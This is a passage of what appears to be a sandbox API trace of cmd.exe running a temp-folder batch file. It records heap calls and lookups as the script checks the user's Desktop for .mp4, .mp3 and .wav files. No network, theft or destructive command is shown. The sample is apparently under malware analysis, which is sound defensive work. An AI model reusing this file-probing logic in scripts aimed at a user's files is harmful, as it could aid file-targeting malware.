(_String1="EXIST", _String2="/I") returned 54 [0039.814] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.814] GetProcessHeap () returned 0x4e0000 [0039.814] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.814] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.814] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.814] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.814] GetProcessHeap () returned 0x4e0000 [0039.814] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.814] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.814] GetProcessHeap () returned 0x4e0000 [0039.815] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.815] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.815] GetProcessHeap () returned 0x4e0000 [0039.815] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.815] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.815] _tell (_FileHandle=3) returned 295 [0039.816] _close (_FileHandle=3) returned 0 [0039.816] GetFullPathNameW (in: lpFileName="*.mp4", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", lpFilePart=0x41eea8*="*.mp4") returned 0x2b [0039.816] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.816] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.816] GetLastError () returned 0x2 [0039.816] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.816] GetLastError () returned 0x6 [0039.816] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.816] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.817] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.817] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.817] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.817] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.817] SetConsoleInputExeNameW () returned 0x1 [0039.817] GetConsoleOutputCP () returned 0x1b5 [0039.817] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.817] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.818] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.818] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.818] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.818] SetFilePointer (in: hFile=0x74, lDistanceToMove=295, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x127 [0039.818] GetProcessHeap () returned 0x4e0000 [0039.818] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.818] GetProcessHeap () returned 0x4e0000 [0039.818] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.818] GetProcessHeap () returned 0x4e0000 [0039.818] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.818] GetProcessHeap () returned 0x4e0000 [0039.818] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.818] GetProcessHeap () returned 0x4e0000 [0039.818] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.818] GetProcessHeap () returned 0x4e0000 [0039.818] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.818] GetProcessHeap () returned 0x4e0000 [0039.818] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.818] GetProcessHeap () returned 0x4e0000 [0039.818] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.818] GetProcessHeap () returned 0x4e0000 [0039.818] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.818] GetProcessHeap () returned 0x4e0000 [0039.819] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.819] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.819] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127 [0039.819] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.819] SetFilePointer (in: hFile=0x74, lDistanceToMove=297, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x129 [0039.819] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp4 goto mp4\r\n\r\n") returned 2 [0039.819] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.819] GetFileType (hFile=0x74) returned 0x1 [0039.819] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.819] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x129 [0039.819] GetProcessHeap () returned 0x4e0000 [0039.819] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.819] GetProcessHeap () returned 0x4e0000 [0039.819] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.819] _tell (_FileHandle=3) returned 297 [0039.819] _close (_FileHandle=3) returned 0 [0039.820] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.820] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.820] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.820] SetFilePointer (in: hFile=0x74, lDistanceToMove=297, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x129 [0039.820] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.820] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x129 [0039.820] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.820] SetFilePointer (in: hFile=0x74, lDistanceToMove=322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x142 [0039.820] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp3 goto mp3\r\n\r\n") returned 25 [0039.820] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.820] GetFileType (hFile=0x74) returned 0x1 [0039.820] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.820] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x142 [0039.820] GetProcessHeap () returned 0x4e0000 [0039.821] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.821] GetProcessHeap () returned 0x4e0000 [0039.821] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.821] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.821] GetProcessHeap () returned 0x4e0000 [0039.821] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.821] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.821] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.821] GetProcessHeap () returned 0x4e0000 [0039.821] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.821] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.821] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.821] GetProcessHeap () returned 0x4e0000 [0039.821] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.821] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.821] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.821] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.821] GetProcessHeap () returned 0x4e0000 [0039.821] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.821] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.821] GetProcessHeap () returned 0x4e0000 [0039.821] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.821] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.822] GetProcessHeap () returned 0x4e0000 [0039.822] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.822] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.822] _tell (_FileHandle=3) returned 322 [0039.822] _close (_FileHandle=3) returned 0 [0039.823] GetFullPathNameW (in: lpFileName="*.mp3", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", lpFilePart=0x41eea8*="*.mp3") returned 0x2b [0039.823] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.823] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.823] GetLastError () returned 0x2 [0039.823] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.823] GetLastError () returned 0x6 [0039.823] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.823] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.823] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.823] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.824] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.824] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.824] SetConsoleInputExeNameW () returned 0x1 [0039.824] GetConsoleOutputCP () returned 0x1b5 [0039.824] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.824] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.824] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.825] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.825] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.825] SetFilePointer (in: hFile=0x74, lDistanceToMove=322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x142 [0039.825] GetProcessHeap () returned 0x4e0000 [0039.825] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.825] GetProcessHeap () returned 0x4e0000 [0039.825] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.825] GetProcessHeap () returned 0x4e0000 [0039.825] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.825] GetProcessHeap () returned 0x4e0000 [0039.825] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.825] GetProcessHeap () returned 0x4e0000 [0039.825] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.825] GetProcessHeap () returned 0x4e0000 [0039.825] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.825] GetProcessHeap () returned 0x4e0000 [0039.825] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.825] GetProcessHeap () returned 0x4e0000 [0039.825] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.825] GetProcessHeap () returned 0x4e0000 [0039.825] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.825] GetProcessHeap () returned 0x4e0000 [0039.825] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.826] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.826] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x142 [0039.826] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.826] SetFilePointer (in: hFile=0x74, lDistanceToMove=324, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x144 [0039.826] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp3 goto mp3\r\n\r\n") returned 2 [0039.826] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.826] GetFileType (hFile=0x74) returned 0x1 [0039.826] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.826] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x144 [0039.826] GetProcessHeap () returned 0x4e0000 [0039.826] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.826] GetProcessHeap () returned 0x4e0000 [0039.826] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.826] _tell (_FileHandle=3) returned 324 [0039.826] _close (_FileHandle=3) returned 0 [0039.826] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.827] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.827] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.827] SetFilePointer (in: hFile=0x74, lDistanceToMove=324, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x144 [0039.827] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.827] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x144 [0039.827] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.827] SetFilePointer (in: hFile=0x74, lDistanceToMove=349, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15d [0039.827] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.wav goto wav\r\n\r\n") returned 25 [0039.827] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.827] GetFileType (hFile=0x74) returned 0x1 [0039.827] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.827] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15d [0039.827] GetProcessHeap () returned 0x4e0000 [0039.827] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.827] GetProcessHeap () returned 0x4e0000 [0039.827] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.827] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.828] GetProcessHeap () returned 0x4e0000 [0039.828] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.828] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.828] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.828] GetProcessHeap () returned 0x4e0000 [0039.828] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.828] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.828] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.828] GetProcessHeap () returned 0x4e0000 [0039.828] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.828] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.828] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.828] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.828] GetProcessHeap () returned 0x4e0000 [0039.828] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.828] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.828] GetProcessHeap () returned 0x4e0000 [0039.828] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.828] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.828] GetProcessHeap () returned 0x4e0000 [0039.828] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.828] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.829] _tell (_FileHandle=3) returned 349 [0039.829] _close (_FileHandle=3) returned 0 [0039.830] GetFullPathNameW (in: lpFileName="*.wav", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wav", lpFilePart=0x41eea8*="*.wav") returned 0x2b [0039.830] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.830] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wav", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.830] GetLastError () returned 0x2 [0039.830] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.830] GetLastError () returned 0x6 [0039.830] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.830] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.830] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.830] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.831] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.831] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.831] SetConsoleInputExeNameW () returned 0x1 [0039.831] GetConsoleOutputCP () returned 0x1b5 [0039.831] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.831] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.831] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.831] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.831] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.831] SetFilePointer (in: hFile=0x74, lDistanceToMove=349, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15d [0039.832] GetProcessHeap () returned 0x4e0000 [0039.832] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.832] GetProcessHeap () returned 0x4e0000 [0039.832] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.832] GetProcessHeap () returned 0x4e0000 [0039.832] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.832] GetProcessHeap () returned 0x4e0000 [0039.832] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.832] GetProcessHeap () returned 0x4e0000 [0039.832] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.832] GetProcessHeap () returned 0x4e0000 [0039.832] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.832] GetProcessHeap () returned 0x4e0000 [0039.832] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.832] GetProcessHeap () returned 0x4e0000 [0039.832] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.832] GetProcessHeap () returned 0x4e0000 [0039.832] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.832] GetProcessHeap () returned 0x4e0000 [0039.832] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.832] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.832] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15d [0039.832] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.833] SetFilePointer (in: hFile=0x74, lDistanceToMove=351, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15f [0039.833] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.wav goto wav\r\n\r\n") returned 2 [0039.833] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.833] GetFileType (hFile=0x74) returned 0x1 [0039.833] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.833] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15f [0039.833] GetProcessHeap () returned 0x4e0000 [0039.833] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.833] GetProcessHeap () returned 0x4e0000 [0039.833] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.833] _tell (_FileHandle=3) returned 351 [0039.833] _close (_FileHandle=3) returned 0 [0039.833] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.834] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.834] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.834] SetFilePointer (in: 